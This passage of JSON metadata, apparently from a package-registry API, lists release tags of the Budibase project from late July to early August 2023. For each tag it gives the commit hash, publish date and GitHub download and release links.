":"2.9.10","sha":"73124fab6ae29d8c95a68163f3a6a76ef7b65a76","kind":"commit","published_at":"2023-08-08T12:45:37.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.10","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.10/manifests"},{"name":"2.9.9","sha":"aab04339b82078d3fb46b3e857cac8c246a72fb9","kind":"commit","published_at":"2023-08-08T11:01:28.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.9","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.9/manifests"},{"name":"2.9.8-alpha.1","sha":"51f086030012f74d08f73879ccde797db097d531","kind":"commit","published_at":"2023-08-08T08:12:18.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.8-alpha.1","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.8-alpha.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.8-alpha.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.8-alpha.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.8-alpha.1/manifests"},{"name":"2.9.8-alpha.0","sha":"07a28fc284c4f1b26730d4bcf74d0a96faa84e99","kind":"commit","published_at":"2023-08-07T20:33:14.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.8-alpha.0","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.8-alpha.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.8-alpha.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.8-alpha.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.8-alpha.0/manifests"},{"name":"2.9.8","sha":"c6e657a7b45cbf5e8897309b005bdf7d0a2f214d","kind":"commit","published_at":"2023-08-07T20:32:27.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.8","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.8/manifests"},{"name":"2.9.7","sha":"2e4e55e2cfa5532a95e65faf8f19fd21840be972","kind":"commit","published_at":"2023-08-07T20:30:10.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.7","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.7/manifests"},{"name":"2.9.6","sha":"3a99f6baa66b420c632d22d7b8e225e25aeb7183","kind":"commit","published_at":"2023-08-07T19:35:14.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.6","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.6/manifests"},{"name":"2.9.5","sha":"b367c7cbe40fc08e0e0247f42299d5e259d095de","kind":"commit","published_at":"2023-08-07T16:59:41.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.5","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.5/manifests"},{"name":"2.9.4","sha":"62b724400a4f7997c8c01de08257b199c2baf74a","kind":"commit","published_at":"2023-08-07T15:55:09.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.4","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.4/manifests"},{"name":"2.9.3","sha":"a2bf1e27fbcbff974432179ca56d2fbe05428a36","kind":"commit","published_at":"2023-08-07T15:39:06.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.3","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.3/manifests"},{"name":"2.8.32-alpha.7","sha":"0049cc74bbc7a10f0b6dc5627530b28cd159419f","kind":"commit","published_at":"2023-08-07T13:56:12.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.8.32-alpha.7","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.32-alpha.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.32-alpha.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.32-alpha.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.32-alpha.7/manifests"},{"name":"2.8.32-alpha.6","sha":"1f49db1347b60154af604ad6803fe43846242ebb","kind":"commit","published_at":"2023-08-07T13:41:18.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.8.32-alpha.6","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.32-alpha.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.32-alpha.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.32-alpha.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.32-alpha.6/manifests"},{"name":"2.9.2","sha":"e6196e5da63173a87de3608d094a842c628e4e62","kind":"commit","published_at":"2023-08-07T13:30:34.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.2","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.2/manifests"},{"name":"2.8.32-alpha.5","sha":"3eb31c7a8140b3b63d4aa84214024d519feff25a","kind":"commit","published_at":"2023-08-07T12:28:09.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.8.32-alpha.5","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.32-alpha.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.32-alpha.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.32-alpha.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.32-alpha.5/manifests"},{"name":"2.9.1","sha":"4c9dfb85c81df20e697cf4772b2c35a5dad8052f","kind":"commit","published_at":"2023-08-07T12:24:52.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.1","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.1/manifests"},{"name":"2.8.32-alpha.4","sha":"cb25a0d23a9180b37a8eec54abc905255c81febe","kind":"commit","published_at":"2023-08-07T11:53:41.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.8.32-alpha.4","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.32-alpha.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.32-alpha.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.32-alpha.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.32-alpha.4/manifests"},{"name":"2.9.0","sha":"aed1874ef01613348d79f46e57b0dfba68f59bc0","kind":"commit","published_at":"2023-08-07T11:51:58.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.0","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.0/manifests"},{"name":"2.8.32-alpha.3","sha":"0247a6c4cc54fcb59a08f3a877c5fbf68b69a4ac","kind":"commit","published_at":"2023-08-07T11:29:58.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.8.32-alpha.3","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.32-alpha.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.32-alpha.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.32-alpha.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.32-alpha.3/manifests"},{"name":"2.8.32-alpha.2","sha":"4bcffd553b6c74ab187fd88fbbf5ceee8c5e1e46","kind":"commit","published_at":"2023-08-07T11:26:25.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.8.32-alpha.2","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.32-alpha.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.32-alpha.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.32-alpha.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.32-alpha.2/manifests"},{"name":"2.8.32","sha":"e991a0bd9cc50cfdaf184762491a682448cb74c9","kind":"commit","published_at":"2023-08-07T11:26:11.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.8.32","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.32/manifests"},{"name":"2.8.32-alpha.1","sha":"e8f4376e25864e2172b0b02ddd72e99bddf56564","kind":"commit","published_at":"2023-08-07T10:40:27.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.8.32-alpha.1","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.32-alpha.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.32-alpha.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.32-alpha.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.32-alpha.1/manifests"},{"name":"2.8.32-alpha.0","sha":"e1c997d96fe40d0d103f727870de4a73c72120c3","kind":"commit","published_at":"2023-08-07T10:02:26.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.8.32-alpha.0","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.32-alpha.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.32-alpha.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.32-alpha.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.32-alpha.0/manifests"},{"name":"2.8.31","sha":"38af31835fbd0982191103b28d93305b73501525","kind":"commit","published_at":"2023-08-07T09:17:25.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.8.31","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.31/manifests"},{"name":"2.8.31-alpha.0","sha":"e4c49fccaf7d6844010ba31bdb61af95d14fe33c","kind":"commit","published_at":"2023-08-07T08:24:29.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.8.31-alpha.0","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.31-alpha.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.31-alpha.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.31-alpha.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.31-alpha.0/manifests"},{"name":"2.8.29-alpha.19","sha":"60c676af64b212171d35e86f8175269eca57d076","kind":"commit","published_at":"2023-08-04T15:25:33.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.8.29-alpha.19","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.29-alpha.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.29-alpha.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.29-alpha.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.29-alpha.19/manifests"},{"name":"2.8.29-alpha.18","sha":"c29b48291398c3e8fd9edaad5e6a9a5e42e6bde0","kind":"commit","published_at":"2023-08-04T12:53:47.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.8.29-alpha.18","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.29-alpha.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.29-alpha.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.29-alpha.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.29-alpha.18/manifests"},{"name":"2.8.29-alpha.17","sha":"13ae01bcf44350feeda60734d9a93281ee752ad7","kind":"commit","published_at":"2023-08-04T08:26:03.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.8.29-alpha.17","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.29-alpha.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.29-alpha.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.29-alpha.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.29-alpha.17/manifests"},{"name":"2.8.29-alpha.16","sha":"b370b89a0700b52d5f62ec81c7bf0cbcdab6e2b8","kind":"commit","published_at":"2023-08-02T15:52:20.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.8.29-alpha.16","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.29-alpha.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.29-alpha.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.29-alpha.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.29-alpha.16/manifests"},{"name":"2.8.29-alpha.15","sha":"ffb22f9f93fd3a0c5eadae61a6af9c1507fb4dd0","kind":"commit","published_at":"2023-08-02T14:05:26.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.8.29-alpha.15","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.29-alpha.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.29-alpha.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.29-alpha.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.29-alpha.15/manifests"},{"name":"2.8.29-alpha.14","sha":"de09dc86f7d2043b7b7b90f8f3a4826e454e97f8","kind":"commit","published_at":"2023-08-02T13:08:45.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.8.29-alpha.14","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.29-alpha.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.29-alpha.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.29-alpha.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.29-alpha.14/manifests"},{"name":"2.8.29-alpha.13","sha":"f730b155d49e0ba664af2ec7013da1ce9198d1c6","kind":"commit","published_at":"2023-08-02T12:49:20.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.8.29-alpha.13","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.29-alpha.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.29-alpha.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.29-alpha.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.29-alpha.13/manifests"},{"name":"2.8.29-alpha.12","sha":"063942d21cc79791981518ac2907c0969931d677","kind":"commit","published_at":"2023-08-02T12:22:47.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.8.29-alpha.12","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.29-alpha.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.29-alpha.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.29-alpha.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.29-alpha.12/manifests"},{"name":"2.8.29-alpha.11","sha":"590c3a8dfc23f6da804184cc19ff559f43a71874","kind":"commit","published_at":"2023-08-01T16:10:49.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.8.29-alpha.11","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.29-alpha.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.29-alpha.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.29-alpha.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.29-alpha.11/manifests"},{"name":"2.8.29-alpha.10","sha":"496fe0df8f36230519019ed5e70e4d4d55a031e3","kind":"commit","published_at":"2023-08-01T15:49:05.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.8.29-alpha.10","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.29-alpha.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.29-alpha.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.29-alpha.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.29-alpha.10/manifests"},{"name":"2.8.29-alpha.9","sha":"f8cbf3c29895896a58f1dcf15906678b953d6f0b","kind":"commit","published_at":"2023-08-01T12:57:56.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.8.29-alpha.9","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.29-alpha.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.29-alpha.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.29-alpha.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.29-alpha.9/manifests"},{"name":"2.8.29-alpha.8","sha":"0db0e2f74e6ba1a668bd3eefe4626403f7418b0c","kind":"commit","published_at":"2023-08-01T09:52:05.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.8.29-alpha.8","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.29-alpha.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.29-alpha.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.29-alpha.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.29-alpha.8/manifests"},{"name":"2.8.29-alpha.7","sha":"f0b4f7db26d42222dcdb63a20abfb8d260a70f01","kind":"commit","published_at":"2023-08-01T08:01:23.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.8.29-alpha.7","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.29-alpha.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.29-alpha.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.29-alpha.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.29-alpha.7/manifests"},{"name":"2.8.29-alpha.6","sha":"36fea720c9a36a4ebfd872230faa1902d0425198","kind":"commit","published_at":"2023-07-31T14:28:32.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.8.29-alpha.6","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.29-alpha.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.29-alpha.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.29-alpha.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.29-alpha.6/manifests"},{"name":"2.8.30","sha":"8c56235ca5692879c4ca2fea0102523c50450f46","kind":"commit","published_at":"2023-07-31T13:39:06.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.8.30","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.30/manifests"},{"name":"2.8.29-alpha.5","sha":"9314a85220c9d309f860826550d6a6e8b25f257f","kind":"commit","published_at":"2023-07-31T10:51:05.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.8.29-alpha.5","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.29-alpha.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.29-alpha.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.29-alpha.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.29-alpha.5/manifests"},{"name":"2.8.29-alpha.4","sha":"45c35c5c452fd36c7bb89494ed6e1bf8cc75b3d1","kind":"commit","published_at":"2023-07-31T09:56:30.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.8.29-alpha.4","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.29-alpha.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.29-alpha.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.29-alpha.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.29-alpha.4/manifests"},{"name":"2.8.29-alpha.3","sha":"3167fcdc76f310e0c7fc031ada7d5130076efe83","kind":"commit","published_at":"2023-07-28T15:59:16.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.8.29-alpha.3","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.29-alpha.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.29-alpha.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.29-alpha.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.29-alpha.3/manifests"},{"name":"2.8.29-alpha.2","sha":"a8e8b79d3842f995952c86e901a31047f931b4ed","kind":"commit","published_at":"2023-07-28T15:01:35.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.8.29-alpha.2","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.29-alpha.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.29-alpha.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.29-alpha.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.29-alpha.2/manifests"},{"name":"2.8.29","sha":"74183d3a463264bf1353d7970a58f631e267ad7f","kind":"commit","published_at":"2023-07-28T08:39:16.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.8.29","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.29/manifests"},{"name":"2.8.29-alpha.1","sha":"6795cb15e8b4abd9c11589cbe810d53e3bdb31f0","kind":"commit","published_at":"2023-07-27T15:43:30.000Z","download_url":"https://co